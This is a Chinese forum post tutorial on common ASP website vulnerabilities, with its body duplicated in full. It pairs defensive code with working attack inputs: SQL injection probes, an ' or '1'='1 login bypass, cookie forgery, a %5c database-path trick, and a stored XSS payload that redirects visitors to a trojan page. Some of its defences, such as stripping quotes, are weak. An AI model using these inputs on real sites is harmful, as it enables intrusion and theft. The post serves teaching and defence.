asp漏洞全攻略...........
asp漏洞全攻略...........
一、SQL注入漏洞
漏洞简介:
程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
SQL注入漏洞的几种类型:
1、数字型注入漏洞
例如:http://www.test.com/bug.asp?id=11,这个名为“bug.asp”的文件存在有数据提交,提交的参数名为“id”,参数值为“11”,这里提交的值“11”为数字型,执行SQL语句时就类似于:
select * from 表名 where id=11
其中在bug.asp文件中获取客户端提交过来的参数“id”的值的写法一般是这样的:
id=request("id")
如果id变量没有经过充分过滤就直接放入SQL语句中执行的话,那么SQL注入漏洞就产生了!
漏洞检测方法:
提交:
[只有管理员有权查看本链接] and 1=1 和
[只有管理员有权查看本链接] and 1=2
查看两次页面的返回结果是否一样。
2、字符型注入漏洞
例如:http://www.test.com/bug2.asp?name=xufang,这个名为“bug2.asp”的文件存在有数据提交,提交的参数名为“name”,参数值为“xufang”,这里提交的值“xufang”为字符型,执行SQL语句时就类似于:
select * from 表名 where name='xufang'
其中在bug2.asp文件中获取客户端提交过来的参数“name”的值的写法一般是这样的:
name=request("name")
如果name变量没有经过充分过滤就直接放入SQL语句中执行的话,那么SQL注入漏洞就产生了!
漏洞检测方法:
提交:http://www.test.com/bug2.asp?name=xufang' and '1'='1 和
[只有管理员有权查看本链接] and '1'='2
查看两次页面的返回结果是否一样。
3、搜索型注入漏洞
例如:http://www.test.com/bug3.asp?keyword=xhonker,这个名为“bug3.asp”的文件存在有数据提交,提交的参数名为“keyword”,参数值为“xhonker”,执行SQL语句时就类似于:
select * from 表名 where keyword like '%xhonker%'
其中在bug3.asp文件中获取客户端提交过来的参数“keyword”的值的写法一般是这样的:
keyword=request("keyword")
如果keyword变量没有经过充分过滤就直接放入SQL语句中执行的话,那么SQL注入漏洞就产生了!
检测方法:
提交:http://www.test.com/bug3.asp?keyword=xhonker%' and 1=1 and '%'=' 和
[只有管理员有权查看本链接] and 1=2 and '%'='
查看两次页面的返回结果是否一样。
注:在SQL注入漏洞的检测中还有另外一种情况,例如:
[只有管理员有权查看本链接]
这里bug4.asp同时获取了两个变量“name”和“id”的值,用字符串连接符“&”连接两个参数,有的时候程序员只对其中的一个变量进行了过滤,而忽略了另外的一个变量,例如这里程序员只对参数“id”的值进行了过滤,而没有对参数“name”的值进行过滤,所以我们就可以将参数“name”和“id”的顺序进行下调换,提交:
[只有管理员有权查看本链接] 注入语句
就可以了!
防御方法:
对于数字型注入漏洞,我们可以使用VBScript中的cint()函数将提交过来的参数值进行强制类型转换,例如:
id=cint(trim(request("id")))
对于字符型和搜索型注入漏洞,我们可以编写一个过滤SQL注入关键字的函数,需要时调用该函数即可!
二、跨站脚本攻击漏洞
漏洞简介:
网站对于用户输入的数据过滤不严格,倘若用户输入的数据中含有HTML代码的话,则该代码将会在页面载入时自动运行,一旦输入的数据中含有恶意代码,那么后果将不堪设想!
例如:
某个新闻发布系统的用户评论部分对用户名和E-mail过滤不严格,我们就可以点击某一条新闻,在用户评论部分的用户名处输入“<script>location="http://www.***.com/x.htm"</script>”这样的语句,当然你也可以自己构造语句,其中http://www.***.com/x.htm为我们存放网页木马的地址。完成后,只要其他浏览网站的用户再点击这条新闻,新闻页面就会自动转向http://www.***.com/x.htm。
检测方法:
网站是否有跨站漏洞,我们可以用“<script>alert('xhonker');</script>”这句代码来检测,如果网页弹出了“xhonker”的提示框,则表示有跨站漏洞。
同时我们也可以通过在返回的页面中搜索我们提交的HTML字符,看对方对哪些字符进行了过滤。
防御方法:
我们可以采用下面的函数对用户提交的HTML字符进行过滤:
Public Function FilterHtml(Str)
If Trim(Str)="" or Isnull(str) Then
FilterHtml=""
Else
Str=Replace(Str,">",">")
Str=Replace(Str,"<","<")
Str=Replace(Str,Chr(32)," ")
Str=Replace(Str,Chr(9)," ")
Str=Replace(Str,Chr(34),""")
Str=Replace(Str,Chr(39),"'")
Str=Replace(Str,Chr(13),"")
Str=Replace(Str,Chr(10)&Chr(10),"</p><p>")
Str=Replace(Str,Chr(10),"<br>")
FilterHtml=Str
End If
End Function
三、登陆验证绕过漏洞
漏洞简介:
在某些网站程序中,用户可以在未经过受权的情况下访问某些敏感页面,譬如网站后台页面。
举例:
1、万能密码进后台
有些网站的后台验证部分使用的是如下代码:
username=trim(request.form("user"))
password=trim(request.form("pass"))
sql="select * from admin where username='"&username&"' and password='"&password&"'"
如果这个时候我们提交一个用户名为“xhonker' or '1'='1”,密码为任意的数据,会发现一样可以登陆后台!这时SQL语句就变成了这个样子:
select * from admin where username='xhonker' or '1'='1' and password='"&password&"'
解释一下,“or”是一个逻辑运算符,作用是在判断两个条件的时候,只要其中一个条件成立,那么等式将会成立。这里1=1永远成立,所以我们提交的SQL语句永远为真,这样就可以在不知道密码的情况下成功登陆后台!
防御方法:
这里大家可以看出,利用成功的条件必须要是提交的数据库含有单引号,如果我们将单引号过滤掉的话对方就拿我们没有办法了!有些程序员采用在客户端写一段Javascript或者VBScript脚本来实现过滤,但这其实也存在安全隐患,因为客户端的脚本我们是可以随意修改的,我们只需将其删除然后修改下提交表单中“action”属性处的值即可!这里我们采用如下方法进行过滤:
username=replace(trim(request.form("user")),"'","")
password=replace(trim(request.form("pass")),"'","")
在服务器端使用replace函数将客户端提交过来的'过滤为空,这样对方就无法采用闭合程序中的单引号来实现非法登陆了!
2、Cookies欺骗进后台
有些网站的后台页面使用的是Cookies验证,代码如下:
If request.cookies("admin")="" then
response.redirect "login.asp"
程序只是简单的判断Cookies中admin的值是否为空,如果为空则返回登陆页面,不为空则进入后台页面。而Cookies我们是可以在客户端进行伪造的,我们只需将admin的Cookies值设为任意,只要不为空就可以,这样再次访问后台页面就可以进入了!
防御方法:
提倡大家在服务器端使用Session验证,也可以通过判断用户是否是从特定的页面进入的后台页面。
四、暴库漏洞
漏洞简介:
1、%5c法
对于一些Access数据库的主机而言,我们可以通过暴库获得数据库的绝对路径。假设页面地址是:http://www.***.com/xx/x.asp?id=123,我们可以尝试提交http://www.***.com/xx%5cx.asp?id=123。如果能获得绝对地址,我们只要再适当结合网页地址,就能下载到数据库了!
2、conn.asp法
动力文章系统以前就暴出过这个漏洞,通过直接访问网站的conn.asp文件就可以获得数据库的绝对路径!
防御方法:
只需在网站的数据库连接文件,譬如conn.asp文件中加入语句“on error resume next”即可!
五、利用网站后台配置文件写入Webshell漏洞
漏洞简介:
有些网站的后台程序没有对网站配置信息部分做充分的过滤,恶意用户在进入后台后可以向其配置文件中写入一句话木马,然后利用一句话木马客户端进行连接。
防御方法:
对于网站信息配置文件中的内容进行有效的过滤,从而防止这种情况的发生。
六、.asp后缀数据库安全隐患
漏洞简介:
对于使用Access数据库的网站,管理员为了防止其数据库被下载,便将原来的.mdb后缀修改为了.asp后缀,但这样做一样存在安全隐患,如果数据库中不存在有防下载表的话,用户通过Flashget这样的软件一样可以将数据库下载下来。
而且如果数据库中不存在防下载表的话,用户如果向数据库中写入asp代码的话,譬如一句话木马的代码,这样当用户使用一句话木马客户端连接数据库文件时,其中的代码就会被解释并且执行,直接危急网站的安全!
防御方法:
对于.asp后缀的数据库,建议在其中加入防下载表,这样对于恶意下载数据库以及asp代码的执行都起到了很好的防御作用!
七、上传漏洞
漏洞简介:
如果程序对用户上传文件的类型没有做好严格过滤的话,用户即可上传譬如.asp这样的文件,从而危及网站及服务器的安全。
防御方法:
有些程序员只是在客户端使用Javascript或者VBScript对用户上传文件的类型进行过滤,但这样的过滤是根本不起作用的,因为用户可以控制客户端脚本的内容。
建议在服务器端对上传的文件类型进行严格的过滤,禁止用户上传任何对服务器安全具有威胁的文件,譬如.asp文件。
还有就是在IIS的设置中禁止保存上传文件的目录的可执行权限,这样即使非法用户成功上传了对服务器安全构成威胁的文件,但该文件也是无法被成功解析的,自然就失去了它原有的意义。
这些是ASP**基础。以后我还会发一下ASP基础给大家看的。
漏洞简介:
程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
SQL注入漏洞的几种类型:
1、数字型注入漏洞
例如:http://www.test.com/bug.asp?id=11,这个名为“bug.asp”的文件存在有数据提交,提交的参数名为“id”,参数值为“11”,这里提交的值“11”为数字型,执行SQL语句时就类似于:
select * from 表名 where id=11
其中在bug.asp文件中获取客户端提交过来的参数“id”的值的写法一般是这样的:
id=request("id")
如果id变量没有经过充分过滤就直接放入SQL语句中执行的话,那么SQL注入漏洞就产生了!
漏洞检测方法:
提交:
[只有管理员有权查看本链接] and 1=1 和
[只有管理员有权查看本链接] and 1=2
查看两次页面的返回结果是否一样。
2、字符型注入漏洞
例如:http://www.test.com/bug2.asp?name=xufang,这个名为“bug2.asp”的文件存在有数据提交,提交的参数名为“name”,参数值为“xufang”,这里提交的值“xufang”为字符型,执行SQL语句时就类似于:
select * from 表名 where name='xufang'
其中在bug2.asp文件中获取客户端提交过来的参数“name”的值的写法一般是这样的:
name=request("name")
如果name变量没有经过充分过滤就直接放入SQL语句中执行的话,那么SQL注入漏洞就产生了!
漏洞检测方法:
提交:http://www.test.com/bug2.asp?name=xufang' and '1'='1 和
[只有管理员有权查看本链接] and '1'='2
查看两次页面的返回结果是否一样。
3、搜索型注入漏洞
例如:http://www.test.com/bug3.asp?keyword=xhonker,这个名为“bug3.asp”的文件存在有数据提交,提交的参数名为“keyword”,参数值为“xhonker”,执行SQL语句时就类似于:
select * from 表名 where keyword like '%xhonker%'
其中在bug3.asp文件中获取客户端提交过来的参数“keyword”的值的写法一般是这样的:
keyword=request("keyword")
如果keyword变量没有经过充分过滤就直接放入SQL语句中执行的话,那么SQL注入漏洞就产生了!
检测方法:
提交:http://www.test.com/bug3.asp?keyword=xhonker%' and 1=1 and '%'=' 和
[只有管理员有权查看本链接] and 1=2 and '%'='
查看两次页面的返回结果是否一样。
注:在SQL注入漏洞的检测中还有另外一种情况,例如:
[只有管理员有权查看本链接]
这里bug4.asp同时获取了两个变量“name”和“id”的值,用字符串连接符“&”连接两个参数,有的时候程序员只对其中的一个变量进行了过滤,而忽略了另外的一个变量,例如这里程序员只对参数“id”的值进行了过滤,而没有对参数“name”的值进行过滤,所以我们就可以将参数“name”和“id”的顺序进行下调换,提交:
[只有管理员有权查看本链接] 注入语句
就可以了!
防御方法:
对于数字型注入漏洞,我们可以使用VBScript中的cint()函数将提交过来的参数值进行强制类型转换,例如:
id=cint(trim(request("id")))
对于字符型和搜索型注入漏洞,我们可以编写一个过滤SQL注入关键字的函数,需要时调用该函数即可!
二、跨站脚本攻击漏洞
漏洞简介:
网站对于用户输入的数据过滤不严格,倘若用户输入的数据中含有HTML代码的话,则该代码将会在页面载入时自动运行,一旦输入的数据中含有恶意代码,那么后果将不堪设想!
例如:
某个新闻发布系统的用户评论部分对用户名和E-mail过滤不严格,我们就可以点击某一条新闻,在用户评论部分的用户名处输入“<script>location="http://www.***.com/x.htm"</script>”这样的语句,当然你也可以自己构造语句,其中http://www.***.com/x.htm为我们存放网页木马的地址。完成后,只要其他浏览网站的用户再点击这条新闻,新闻页面就会自动转向http://www.***.com/x.htm。
检测方法:
网站是否有跨站漏洞,我们可以用“<script>alert('xhonker');</script>”这句代码来检测,如果网页弹出了“xhonker”的提示框,则表示有跨站漏洞。
同时我们也可以通过在返回的页面中搜索我们提交的HTML字符,看对方对哪些字符进行了过滤。
防御方法:
我们可以采用下面的函数对用户提交的HTML字符进行过滤:
Public Function FilterHtml(Str)
If Trim(Str)="" or Isnull(str) Then
FilterHtml=""
Else
Str=Replace(Str,">",">")
Str=Replace(Str,"<","<")
Str=Replace(Str,Chr(32)," ")
Str=Replace(Str,Chr(9)," ")
Str=Replace(Str,Chr(34),""")
Str=Replace(Str,Chr(39),"'")
Str=Replace(Str,Chr(13),"")
Str=Replace(Str,Chr(10)&Chr(10),"</p><p>")
Str=Replace(Str,Chr(10),"<br>")
FilterHtml=Str
End If
End Function
三、登陆验证绕过漏洞
漏洞简介:
在某些网站程序中,用户可以在未经过受权的情况下访问某些敏感页面,譬如网站后台页面。
举例:
1、万能密码进后台
有些网站的后台验证部分使用的是如下代码:
username=trim(request.form("user"))
password=trim(request.form("pass"))
sql="select * from admin where username='"&username&"' and password='"&password&"'"
如果这个时候我们提交一个用户名为“xhonker' or '1'='1”,密码为任意的数据,会发现一样可以登陆后台!这时SQL语句就变成了这个样子:
select * from admin where username='xhonker' or '1'='1' and password='"&password&"'
解释一下,“or”是一个逻辑运算符,作用是在判断两个条件的时候,只要其中一个条件成立,那么等式将会成立。这里1=1永远成立,所以我们提交的SQL语句永远为真,这样就可以在不知道密码的情况下成功登陆后台!
防御方法:
这里大家可以看出,利用成功的条件必须要是提交的数据库含有单引号,如果我们将单引号过滤掉的话对方就拿我们没有办法了!有些程序员采用在客户端写一段Javascript或者VBScript脚本来实现过滤,但这其实也存在安全隐患,因为客户端的脚本我们是可以随意修改的,我们只需将其删除然后修改下提交表单中“action”属性处的值即可!这里我们采用如下方法进行过滤:
username=replace(trim(request.form("user")),"'","")
password=replace(trim(request.form("pass")),"'","")
在服务器端使用replace函数将客户端提交过来的'过滤为空,这样对方就无法采用闭合程序中的单引号来实现非法登陆了!
2、Cookies欺骗进后台
有些网站的后台页面使用的是Cookies验证,代码如下:
If request.cookies("admin")="" then
response.redirect "login.asp"
程序只是简单的判断Cookies中admin的值是否为空,如果为空则返回登陆页面,不为空则进入后台页面。而Cookies我们是可以在客户端进行伪造的,我们只需将admin的Cookies值设为任意,只要不为空就可以,这样再次访问后台页面就可以进入了!
防御方法:
提倡大家在服务器端使用Session验证,也可以通过判断用户是否是从特定的页面进入的后台页面。
四、暴库漏洞
漏洞简介:
1、%5c法
对于一些Access数据库的主机而言,我们可以通过暴库获得数据库的绝对路径。假设页面地址是:http://www.***.com/xx/x.asp?id=123,我们可以尝试提交http://www.***.com/xx%5cx.asp?id=123。如果能获得绝对地址,我们只要再适当结合网页地址,就能下载到数据库了!
2、conn.asp法
动力文章系统以前就暴出过这个漏洞,通过直接访问网站的conn.asp文件就可以获得数据库的绝对路径!
防御方法:
只需在网站的数据库连接文件,譬如conn.asp文件中加入语句“on error resume next”即可!
五、利用网站后台配置文件写入Webshell漏洞
漏洞简介:
有些网站的后台程序没有对网站配置信息部分做充分的过滤,恶意用户在进入后台后可以向其配置文件中写入一句话木马,然后利用一句话木马客户端进行连接。
防御方法:
对于网站信息配置文件中的内容进行有效的过滤,从而防止这种情况的发生。
六、.asp后缀数据库安全隐患
漏洞简介:
对于使用Access数据库的网站,管理员为了防止其数据库被下载,便将原来的.mdb后缀修改为了.asp后缀,但这样做一样存在安全隐患,如果数据库中不存在有防下载表的话,用户通过Flashget这样的软件一样可以将数据库下载下来。
而且如果数据库中不存在防下载表的话,用户如果向数据库中写入asp代码的话,譬如一句话木马的代码,这样当用户使用一句话木马客户端连接数据库文件时,其中的代码就会被解释并且执行,直接危急网站的安全!
防御方法:
对于.asp后缀的数据库,建议在其中加入防下载表,这样对于恶意下载数据库以及asp代码的执行都起到了很好的防御作用!
七、上传漏洞
漏洞简介:
如果程序对用户上传文件的类型没有做好严格过滤的话,用户即可上传譬如.asp这样的文件,从而危及网站及服务器的安全。
防御方法:
有些程序员只是在客户端使用Javascript或者VBScript对用户上传文件的类型进行过滤,但这样的过滤是根本不起作用的,因为用户可以控制客户端脚本的内容。
建议在服务器端对上传的文件类型进行严格的过滤,禁止用户上传任何对服务器安全具有威胁的文件,譬如.asp文件。
还有就是在IIS的设置中禁止保存上传文件的目录的可执行权限,这样即使非法用户成功上传了对服务器安全构成威胁的文件,但该文件也是无法被成功解析的,自然就失去了它原有的意义。
这些是ASP**基础。以后我还会发一下ASP基础给大家看的。
POLARBEAR- 帖子数 : 117
注册日期 : 12-07-25
您在这个论坛的权限:
您不能在这个论坛回复主题